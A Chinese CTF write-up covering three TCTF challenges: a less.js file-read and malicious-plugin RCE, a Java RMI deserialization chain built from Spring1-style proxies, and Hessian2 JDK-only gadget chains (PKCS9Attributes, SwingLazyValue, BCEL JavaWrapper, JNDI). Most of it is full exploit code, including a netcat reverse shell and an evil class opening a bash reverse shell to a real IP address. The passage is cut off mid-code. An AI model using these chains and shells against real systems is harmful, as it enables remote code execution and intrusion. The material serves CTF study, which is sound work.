TCTF小结 ohf p神的文章https://www.leavesongs.com/PENETRATION/flarum-rce-tour.html less存在任意文件读取漏洞,读取源码ohf_main_to_be_deployed.go
.test { content : data-uri('ohf_main_to_be_deployed.go' ); }
less.js低版本存在远程rce,题目可以远程加载插件。加载恶意插件然后调用即可 plugin.js
registerPlugin({ install: function (less, pluginManager, functions) { functions.add ('cmd' , function (val) { return global.process.mainModule.require ('child_process' ).execSync (val.value).toString (); }); } })
payload
@plugin "http://ip:port/plugin.js" ;body {color : cmd ('/readflag' ); }
3rmi1 关于题目 此题最终是4解,最终的做法也是将java代理运用的很巧妙,很有趣的一道题。
题目描述和提示
The server resets every 5 minutes hint 1: https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf page 50 hint 2: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Spring1.java
题目给了一个rmi服务,但是题目的远程服务端绑定死了,所以即使控制了lookup的参数也无法进行jndi。
但是如果能够在rmi服务端绑定我们的恶意对象,然后恶意对象的地址只想我们的恶意服务(例如jrmp listener),然后在注册端lookup这个对象然后会在我们的恶意服务端返回序列化好的数据让题目客户端反序列化即可进行rce。
题目给的两个hint很明显契合了这个做法,第一个hint用来绕过高版本jdk限制除本地服务外的其它连接来注册对象。第二个hint用来完成进行rce的反序列化链。
注册恶意对象 工具一把梭https://github.com/qtc-de/remote-method-guesser
绑定之后,起一个JRMPListener服务使用URLDNS的链子,然后请求我们注册的恶意对象,可以看到题目客户端成功将URLDNS的链子反序列化,很明显此做法是可行的,所以剩下需要做的就是找出找出一条链子进行rce。
反序列化链的尝试 这个是这个题目的难点,题目给的提示是spring1的链子,所以必然需要先了解这条链子。
关于spring1 这条链子在JDK 8u66之前是可以使用的。参考 链子调用如下图,最终利用TemplatesImpl.newTransformer()来实例化恶意字节码,链子主要靠的是使用InvocationHandler层层代理。
关于java代理知识
使用ysoserial项目调试。程序反序列化的入口为org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
此时可以看到总共是有三层代理的。
在this.provider.getType().getClass()
存在第一层代理,在invoke里会返回一个org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
代理,这个代理的invoke是最终执行命令的方法。
从上图也可以看到最后一层代理是代理objectFactory的getObject方法,然后返回一个templates,此时method又被设置为newTransformer,所以就能成功实例化恶意字节码。
接着往下调试,第一次代理返回就是上面所说的AutowireUtils$ObjectFactoryDelegatingInvocationHandler
然后在ReflectionUtils.findMethod
中会获取到newTransformer方法,因为代理类实例化时传入了接口。 然后还会调用一次getType,调用过程和第一次是一样的返回对象也是一样的,都是返回了一个代理对象。 重要的是在调用 ReflectionUtils.invokeMethod
时,可以多到此时的method已经被代理
所以会再次跳转到代理类的invoke,这里就是我们最终能够成功调用templates的newtransformer的地方。可以看到这里调用到了getObject方法,但是objectFactory已经被代理所以这里的getObject方法返回的类也可以被控制,让其返回一个templatesImpl实例对象即可。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eVuZBSdx-1668748648745)(http://39.107.239.30:3000/uploads/164b719c-d447-424b-8e19-18f28367a6db.png)]
进入到getObject代理中,看到从HashMap中取出来templatesImpl实例对象。
后面就是经典的利用templatesImpl实例化恶意字节码来进行rce的做法了。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QMMtkUd2-1668748648747)(http://39.107.239.30:3000/uploads/d5f98e3e-1b9e-4dec-bd75-85c741716802.png)]
回到题目,比赛时错误的做法。 说是错误做法就是没有注意到题目jdk版本导致写出来的链子有个类在jdk202下被更改过了导致无法使用,不过还是值得记录一下。
题目的readObject入口是这样的,和spring1的链子对比一下,可以看到几乎一摸一样。这里的getGirlFriend
就相当于时getType
方法
同时看到题目提供的一些接口,几乎和spring1如出一辙,区别就是这些都是出题者自己实现的。
但是相比于spring1还差一个可以最终rce的反射调用方法。再看代码发现出题者实现了MyInvocationHandler
,所以很明显需要用的都提供了剩下的就是改改实例化类的名字了。
exp代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package ysoserial.payloads;import com.ctf.threermi.*;import org.springframework.beans.factory.ObjectFactory;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import javax.xml.transform.Templates;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Type;import static java.lang.Class.forName;public class TCTF3rmi extends PayloadRunner implements ObjectPayload <Object > { public Object getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); final FactoryInter factoryInter = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject" , templates), FactoryInter.class); final MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); Reflections.setFieldValue(myInvocationHandler,"object" ,factoryInter); final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class,Templates.class); final UserInter userInter = Gadgets.createMemoitizedProxy( Gadgets.createMap("getGirlFriend" , friend), UserInter.class,Templates.class); Gadget gadget = new Gadget(); Reflections.setFieldValue(gadget,"user" ,userInter); Reflections.setFieldValue(gadget,"mName" ,"newTransformer" ); return gadget; } public static void main (final String[] args) throws Exception { PayloadRunner.run(TCTF3rmi.class, args); } public static boolean isApplicableJavaVersion () { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
但最终是无法打通题目,可以问题出在看到从memberValues
中获取到的对象是null。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8FubTYPJ-1668748648749)(http://39.107.239.30:3000/uploads/b8eabba5-8275-4072-b376-ea4f80278e13.png)]
原因在于在最开始已经说到spring1的链子有jdk版本限制,而题目的版本是jdk8u201,高版本下AnnotationInvocationHandler
的readObject方法被修改了,无法控制this.memberValues的值了,所以也无法控制invoke的返回对象。下面看看到底在哪被限制了呢。
jdk8u201版本下的AnnotationInvocationHandler
如下,最终需要满足判断var12 != null
才能获取HashMap中的键值然后put到var7中最后赋值给MemberValues
而memberTypes
是从AnnotationType
实例化后的对象获取到的,跟进getInstance
。可以看到第一个参数指定var1必须是Annotation的子类,第二个参数是传入一个Map类型的var2。将var1赋值给成员变量type然后将var赋值给成员变量memberValues。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kbn4MVQ6-1668748648752)(http://39.107.239.30:3000/uploads/ab0b6f34-9d76-45be-bc7b-0b938047bc7e.png)]
这里的分析其实就是CC1链子的分析网上也有很多文章,接着看到AnonotationType
的构造函数。可以看到memberTypes
的赋值是在构造函数中实现的。构造函数传的参数是AnnotationInvocationHandler的var0,然后通过反射获取了Annotation对象的所有方法,遍历方法名字赋值给var7,方法返回类型赋值给var8,最后将两者put到memberTypes成员变量中。
所以回到readObject,要进入if里面就需要在HashMap里面put一个Annotation对象的方法名字,这里的Retention为Annotation的一个子类且有一个value的方法。
所以这样的话就只需要往HashMap中put一个键名是”value”的字符串就能进入到if中了。
但是问题又来了,我们能够看到此时var4中存在两个map了,一个map中含有value键名,但另一个还是没有,所以当遍历到键名为getObject的map时还是无法进入到if中就无法获取到map的键值,那最终MemberValues
的这个map的键值就是null,所以就会出现在AnnotationInvocationHandler.invoke()
函数中从MemberValues获取对象结果为null的问题了。
而要解决这个问题就是找到一个Annotation的一个子类,这个子类的所有方法名中有叫getObject
的方法。但显然这样的类无法找到。所以还是需要舍弃这个类去寻找新的类了。
RemoteObjectInvocationHandler 这个类的寻找也很简单官方wp上直接使用java代码遍历类设置条件筛选出可用的类或者直接使用codeql也很方便
public class FindClass { public static void main(String[] args) { Reflections reflections = new Reflections(); Set<Class <? extends InvocationHandler>> subTypesOf = reflections.getSubTypesOf(InvocationHandler.class ); for (Class <? extends InvocationHandler > aClass : subTypesOf) { if (Serializable.class .isAssignableFrom(aClass)){ System.out.println ( aClass ); } } } }
import java from Class c where c.getASupertype().hasName("InvocationHandler") and c.getASupertype*() instanceof TypeSerializable select c
RemoteObjectInvocationHandler
的invoke方法如下,可以看到这个类最终能调用到ref的invoke方法。 ref.invoke最终调用到的是StreamRemoteCall#executeCall方法。基本上所有客户端的请求,invoke->executeCall其实就是一条危险片段链,是rmi攻击手段中经常会见到的类。
ref其实就是一个远程引用,里面保存着服务端的对象信息。就像我们调用Registry的bind方法时,绑定的也是远程引用。
但是这里还是无法控制返回对象所以还是不能直接替换AnnotationInvocationHandler这个类,但是又有另外一个攻击思路了。
首先我们自己实现两个接口然后绑定到注册中心,这样ref中保存的就是我们的自己实现接口后的类。
然后利用RemoteObjectInvocationHandler来代理UserInter接口让题目客户端反序列化时调用的方法是我们自己实现的方法,这样我们在自己实现的类里就能控制返回对象了。
例如这样,只需要让题目客户端调用到我们自己实现的类即能控制返回对象。
最终攻击-rce反序列化链 最终的链子如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 package ysoserial.payloads;import com.ctf.threermi.*;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import javax.xml.transform.Templates;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.RemoteObjectInvocationHandler;import java.rmi.server.RemoteRef;import java.rmi.server.UnicastRemoteObject; */class UserImpl implements UserInter { Registry registry; { try { registry = LocateRegistry.getRegistry(7777 ); } catch (RemoteException e) { e.printStackTrace(); } } @Override public String sayHello (String paramString) throws RemoteException { return null ; } @Override public Friend getGirlFriend () throws RemoteException { FactoryInter factoryInter = null ; try { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2 ); allIfaces[0 ] = FactoryInter.class; allIfaces[1 ] = Remote.class; factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory" ))); } catch (Exception e) { e.printStackTrace(); } final MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); try { Reflections.setFieldValue(myInvocationHandler,"object" ,factoryInter); } catch (Exception e) { e.printStackTrace(); } final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class, Templates.class); return friend; } }class FactoryImpl implements FactoryInter { String cmd; @Override public Object getObject () throws Exception { return Gadgets.createTemplatesImpl(this .cmd); } }public class TCTF3rmiExp extends PayloadRunner implements ObjectPayload <Object > { public Object getObject (final String command) throws Exception { int evilServerPort = 7777 ; Registry registry = LocateRegistry.createRegistry(evilServerPort); UserImpl user1 = new UserImpl(); registry.bind("UserImpl" , UnicastRemoteObject.exportObject(user1, evilServerPort)); FactoryImpl factoryImpl = new FactoryImpl(); Reflections.setFieldValue(factoryImpl,"cmd" ,command); registry.bind("factory" , UnicastRemoteObject.exportObject(factoryImpl, evilServerPort)); InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl" )); Field field = ref.getClass().getSuperclass().getDeclaredField("ref" ); field.setAccessible(true ); UnicastRef unicastRef = (UnicastRef)field.get(ref); LiveRef liveRef = (LiveRef) Reflections.getFieldValue(unicastRef,"ref" ); TCPEndpoint tcpEndpoint = (TCPEndpoint)Reflections.getFieldValue(liveRef,"ep" ); Reflections.setFieldValue(tcpEndpoint,"host" ,"10.122.207.125" ); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler((RemoteRef) Reflections.getFieldValue(ref,"ref" )); final UserInter user = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class,Remote.class},remoteObjectInvocationHandler); Gadget gadget = new Gadget(); Reflections.setFieldValue(gadget,"user" ,user); Reflections.setFieldValue(gadget,"mName" ,"newTransformer" ); return gadget; } public static void main (String[] args) throws Exception { PayloadRunner.run(TCTF3rmiExp.class, args); } }
整体调试一下链子还是很顺利的。
进入到UnicastRef.invoke()里面首先用newCall方法首先会建立一个连接到对应的RMI服务端。后面其实就是正常客户端获取RMIRegistry对象的流程了。
StreamRemoteCall初始化会在自己的this.out属性中序列化一些属性进去 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X9c1zvFH-1668748648759)(http://39.107.239.30:3000/uploads/202a64ee-5f25-4299-b930-96c2c0f29c71.png)] 然后判断如果方法有参数,调用 marshalValue 将参数写入到输出流,然后调用 executeCall。但我们这里很明显getGirlFriend没有参数所以不进入。
在executeCall中首先会释放输出流
然后获取服务端返回数据信息 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qUkLt5rg-1668748648761)(http://39.107.239.30:3000/uploads/8c621007-04c6-4a92-b49e-ac60fb840c71.png)]
然后读取第一个字节和81进行相等比较,81是在TransportConstants中定义好的代表Return标志位。
然后又会读取一个字节。读取的第二个字节会用于下面的流程判断,如果是1的话那么直接return,而如果是2的话,那么会对返回回来的数据进行反序列化(这是一个攻击点,也就是如果服务端返回回来的序列化数据,那么在这里客户端是可以进行反序列化的),其实ysoserial的JRMPListener就是利用的这里,实际上进入到case 2
后就是处理TransportConstants.ExceptionalReturn报错情况,所以这也是为什么会说需要将payload放到报错信息中的原因。 这里很明显我们并没有进入到case 2
。
跳出之后就是通过反序列化获取远程对象了
最后我们能够使用到自己实现的类来控制返回对象,返回一个使用MyInvocationHandler代理了Templates和Friend两个接口的类
然后通过findMethod就能够找到newTransformer方法。
然后第二行this.user.getGirlFriend()
会进行上面同样的流程返回一个代理对象,然后通过反射调用这个类里面的newTransformer方法。又由于这个被MyInvocationHandler代理过所以会进入到MyInvocationHandler的invoke方法。
这里只要再控制this.object.getObject()
为一个TemplatesImpl实例对象就能成功调用newTransformer方法从而实例恶意字节码执行命令了。 这里控制返回对象的方法和上面this.user.getGirlFriend()
是一摸一样的就不再跟进一遍了。
rce效果图
攻击效果 先绑定恶意对象 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G36xzope-1668748648769)(http://39.107.239.30:3000/uploads/232f339c-f125-4c17-9155-2fbbbccba9f3.png)]
反序列化rce链子,题目docker环境没有curl和bash,但是有nc可能确实是特意给的,所以利用nc ip port -e sh
即可反弹shell。
最终getshell [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SJf1IF8B-1668748648772)(http://39.107.239.30:3000/uploads/3634d204-2762-4855-9de8-9c2b44bdbbd8.png)]
参考文章http://www.yongsheng.site/2022/07/11/RMI-attack/
https://www.cnblogs.com/zpchcbd/p/13517074.html
https://www.redmango.top/article/70
https://tttang.com/archive/1430/
hessian-onlyjdk 题目提示
https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww https://x-stream.github.io/CVE-2021-21346.html
wp wp2 wp3 wp4 wp5
some interesting staic funtions MethodUtils.invoke0 ctf-2022 -soln-hessian-onlyjdk System.setProperty + InitalContext.doLookup @福来阁 DumpBytecode.dumpBytecode + System.load @ty1310 @nese com.sun .org .apache .xalan .internal .xslt .Process ._main @福来阁 @Water Paddler sun.tools .jar .Main .main writeup @Cyku System.setProperty + jdk.jfr .internal .Utils .writeGeneratedAsm @StrawHat com.sun .org .apache .bcel .internal .util .JavaWrapper writeup @Siebene@
关于Hessian 反序列化及相关利用链
题目分析 依赖只存在jdk8u324和hessian2,题目给了一个反序列化得入口,最终目的肯定是找链子rce了。
再看题目得hint,给了两篇文章,第一篇文章就是网鼎杯考得一个cve,这个CVE可以调用任意共有类的toString属性,原理是在com.alibaba.com.caucho.hessian.io.Hessian2Input#expect
有一处tostring调用。所以这个hint告诉我们现在能够调用任意共有类的toString属性,然后就需要找拥有toString方法的可利用类。
第二篇文章是CVE-2021-21346
,Xstream反序列化的链(参考文章 ),提示我们利用JDK中的SwingLazyValue
这条链。
Rdn$RdnEntry#compareTo-> XString#equal-> MultiUIDefaults#toString-> UIDefaults#get-> UIDefaults#getFromHashTable-> UIDefaults$LazyValue#createValue-> SwingLazyValue#createValue-> InitialContext#doLookup()
其中sun.swing.SwingLazyValue#createValue
可以调用任意静态方法或者一个构造函数
但是最终是无法使用的,可以看下文章中的解释。
经过测试,发现没法使用:
javax.swing.MultiUIDefaults是peotect类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功
然后对于存在Map类型的利用链,例如ysoserial中的cc5部分:
TiedMapEntry .to String() LazyMap . get() ChainedTransformer . transform() ConstantTransformer . transform() InvokerTransformer . transform() Method . invoke() Class . getMethod() InvokerTransformer . transform() Method . invoke() Runtime . getRuntime() InvokerTransformer . transform() Method . invoke() Runtime . exec()
这个也是无法利用的,因为Hessian2在恢复map类型的对象时,硬编码成了HashMap或者TreeMap,这里LazeMap就断了。
扫了下basic项目自带的包,没找到能用的链,三方包中找到利用链的可能性比较大一些。
完善SwingLazyValue链 使用PKCS9Attributes 所以这条链就只能使用这部分
UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue
所以现在就需要找到另外一个类,并且可以调用到toString
方法,即从toString
到HashTable.get()
(UIDefaults extends Hashtable
),这样就能拼凑为一条链子了。
参考网上师傅的codeql代码寻找可利用类,codeql使用的库为https://lgtm.com/projects/g/openjdk/jdk/?mode=list
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import java import semmle.code.java.dataflow.FlowSources class ROMethod extends Method{ ROMethod(){ this.hasName("toString") } } class Source extends Callable { Source(){ ( this instanceof ROMethod ) } } class GetMethod extends Method { GetMethod(){ this.hasName("get") and this.getDeclaringType().getAnAncestor().hasQualifiedName("java.util","Hashtable") } } class DangerousMethod extends Callable { DangerousMethod(){ this instanceof GetMethod } } class CallsDangerousMethod extends Callable { CallsDangerousMethod() { exists(Callable a| this.polyCalls(a) and a instanceof DangerousMethod ) } } query predicate edges(Method a, Method b) { a.polyCalls(b) and a.getDeclaringType().getAField().getDeclaringType().hasName(b.getDeclaringType().getName()) } from Source source, CallsDangerousMethod sink where edges+(source, sink) select source, source, sink, "$@ $@ to $@ $@" , source.getDeclaringType(),source.getDeclaringType().getName(), source,source.getName(), sink.getDeclaringType(),sink.getDeclaringType().getName(), sink,sink.getName()
查找结果如下
筛选之后可以发现PKCS9Attributes
这个类是可用的。this.attributes
正好是一个Hashtable
类。
所以这条链子现在如下。
PKCS9Attributes#toString-> UIDefaults#get-> UIDefaults#getFromHashTable-> UIDefaults$LazyValue#createValue-> SwingLazyValue#createValue-> InitialContext#doLookup()
测试代码
public static void main (String[] args) throws Exception { UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("javax.naming.InitialContext" , "doLookup" , new Object[]{"ldap://127.0.0.1:6666" })); PKCS9Attribute[] attribs = new PKCS9Attribute[]{}; PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(attribs); Field field = pkcs9Attributes.getClass().getDeclaredField("attributes" ); field.setAccessible(true ); field.set(pkcs9Attributes,uiDefaults); pkcs9Attributes.toString(); }
使用LazyValueForHessian 在ysomap
其实有一条现成的链子
javax.naming .ldap .Rdn$RdnEntry .compareTo com.sun .org .apache .xpath .internal .objects .XStringForFSB .equals javax.activation .MimeTypeParameterList .toString UIDefaults.get ......
这个还是toString没出的时候提出的从compareTo触发的链,现在直接从toString处上也可以 MimeTypeParameterList对自己的parameters调用了一个get,parameters是一个hashtable,而UIDefault刚好是extend了hashtable的,这样子就把前面半截续上来了
parameters
恰好是Hashtable
此时配合第一篇文章的cve可调用任意共有类的toString属性,就可以调用任意静态方法或者一个构造函数了,下面要做的就是rce了,需要找到一个静态执行方法执行命令的类,并且有多种方法借鉴于上面几篇wp。
实现rce 关于rce,题目中其实还有一个so文件,具体的作用就是通过java-agent将com.sun.org.apache.xml.internal.security.utils.JavaUtils
类给ban掉了,这个类中的静态公共方法可以写文件,并且满足上面SwingLazyValue
调用条件。
所以就需要寻找另外的类来完成rce,查看大佬们的wp发现有多种方法
实现rce—方法一 这个方法是使用com.sun.org.apache.bcel.internal.util.JavaWrapper
能够加载我们的恶意class文件。
然后进入到wrapper.runMain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public void runMain (String class_name, String[] argv) throws ClassNotFoundException { Class cl = loader.loadClass(class_name); Method method = null ; try { method = cl.getMethod("_main" , new Class[] { argv.getClass() }); int m = method.getModifiers(); Class r = method.getReturnType(); if (!(Modifier.isPublic(m) && Modifier.isStatic(m)) || Modifier.isAbstract(m) || (r != Void.TYPE)) throw new NoSuchMethodException(); } catch (NoSuchMethodException no) { System.out.println("In class " + class_name + ": public static void _main(String[] argv) is not defined" ); return ; } try { method.invoke(null , new Object[] { argv }); } catch (Exception ex) { ex.printStackTrace(); } }
loader.loadClass(class_name)
中的loader
会被设置为bcel加载器。因为在_main
里默认实例化一个JavaWrapper
会调用到getClassLoader
,刚好会将this.loader
初始化为bcel加载器。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package com.ctf.hessian.onlyJdk;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import sun.security.pkcs.PKCS9Attribute;import sun.security.pkcs.PKCS9Attributes;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;public class test { public static void main (String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, NoSuchFieldException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(byteArrayOutputStream); out.getSerializerFactory().setAllowNonSerializable(true ); JavaClass evil = Repository.lookupClass(evil.class); String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true ); UIDefaults uiDefaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper" , "_main" , new String[][]{new String[]{payload}}); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, swingLazyValue); PKCS9Attribute[] attribs = new PKCS9Attribute[]{}; PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(attribs); Field field = pkcs9Attributes.getClass().getDeclaredField("attributes" ); field.setAccessible(true ); field.set(pkcs9Attributes,uiDefaults); out.writeString("aaa" ); out.writeObject(pkcs9Attributes); out.flushBuffer(); try { Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray()))); hessian2Input.readObject(); } catch (Exception var5) { var5.printStackTrace(); } } }
或者使用yaomap的那个触发类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class exp { public static void main (String[] args) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); JavaClass evil = Repository.lookupClass(evil.class); String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true ); UIDefaults uiDefaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper" , "_main" , new String[][]{new String[]{payload}}); uiDefaults.put("key" , swingLazyValue); MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); Field parameters = MimeTypeParameterList.class.getDeclaredField("parameters" ); parameters.setAccessible(true ); parameters.set(mimeTypeParameterList, uiDefaults); output.writeString("aaa" ); output.getSerializerFactory().setAllowNonSerializable(true ); output.writeObject(mimeTypeParameterList); output.flushBuffer(); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject(); } }
evil.java
如下
package com.ctf.hessian.onlyJdk;public class evil { public static void _main (String[] argv) throws Exception { Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/39.107.239.30/4444 0>&1'" ); } }
发包即可
实现rce—方法二 jdk.jfr.internal.Utils.writeGeneratedASM()
方法写文件
但是判断了一下SAVE_GENERATED
是否为true
,默认是不为true的。但这里我们能够调用setProperty
静态方法将其设置为true。最后使用sun.security.tools.keytool.Main
的main方法加载我们写入的恶意class。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 package com.ctf.hessian.onlyJdk;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.util.SecuritySupport;import org.springframework.http.HttpEntity;import org.springframework.http.ResponseEntity;import org.springframework.http.client.SimpleClientHttpRequestFactory;import org.springframework.web.client.RestTemplate;import sun.security.pkcs.PKCS9Attribute;import sun.security.pkcs.PKCS9Attributes;import sun.swing.SwingLazyValue;import javax.activation.MimeTypeParameterList;import javax.swing.*;import java.io.*;import java.lang.reflect.Field;import java.net.*;import sun.security.tools.keytool.Main;public class exp3 { public static void doPOST (byte [] obj) throws Exception { RestTemplate restTemplate = new RestTemplate(); URI url = new URI("http://127.0.0.1:8888/" ); SimpleClientHttpRequestFactory reqfac = new SimpleClientHttpRequestFactory(); reqfac.setProxy(new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1" , Integer.parseInt("8080" )))); restTemplate.setRequestFactory(reqfac); HttpEntity<byte []> requestEntity = new HttpEntity<>(obj); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getBody()); } public static void main (String[] args) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); System.out.println(SecuritySupport.getSystemProperty("SAVE_GENERATED" )); UIDefaults uiDefaults = new UIDefaults(); SwingLazyValue swingLazyValue = new SwingLazyValue("java.lang.System" , "setProperty" , new Object[]{(Object)"jfr.save.generated.asm" ,(Object)"true" }); JavaClass evil = Repository.lookupClass(evil.class); Object value = new SwingLazyValue("jdk.jfr.internal.Utils" ,"writeGeneratedASM" ,new Object[]{(Object)"/tmp/evil" ,evil.getBytes()}); Object value2 = new SwingLazyValue("sun.security.tools.keytool.Main" ,"main" ,new Object[]{new String[]{"-genkeypair" ,"-keypass" ,"123456" ,"-keystore" ,"hackxxx" ,"-storepass" ,"123456" ,"-providername" ,"hackx" ,"-providerclass" ,"evil" ,"-providerpath" ,"/evil.class" }}); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, value2); PKCS9Attribute[] attribs = new PKCS9Attribute[]{}; PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(attribs); Field field = pkcs9Attributes.getClass().getDeclaredField("attributes" ); field.setAccessible(true ); field.set(pkcs9Attributes,uiDefaults); output.writeString("aaa" ); output.getSerializerFactory().setAllowNonSerializable(true ); output.writeObject(pkcs9Attributes); output.flushBuffer(); doPOST(baos.toByteArray()); } }
实现rce—方法三
jndi中由于高版本关了远程codebase的信任,从而无法实现jndi注入,但是修改这个属性的System.setProperty却是一个静态方法,可以在这里被createValue调用,直接一键打通,然后再用开头给的XStream的javax.naming.InitialContext.doLookup
即可
原理一样,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package com.ctf.hessian.onlyJdk;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.bcel.internal.util.SecuritySupport;import org.springframework.http.HttpEntity;import org.springframework.http.ResponseEntity;import org.springframework.http.client.SimpleClientHttpRequestFactory;import org.springframework.web.client.RestTemplate;import sun.security.pkcs.PKCS9Attribute;import sun.security.pkcs.PKCS9Attributes;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.*;import java.lang.reflect.Field;import java.net.*;public class exp4 { public static void doPOST (byte [] obj) throws Exception { RestTemplate restTemplate = new RestTemplate(); URI url = new URI("http://127.0.0.1:8888/" ); SimpleClientHttpRequestFactory reqfac = new SimpleClientHttpRequestFactory(); reqfac.setProxy(new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1" , Integer.parseInt("8080" )))); restTemplate.setRequestFactory(reqfac); 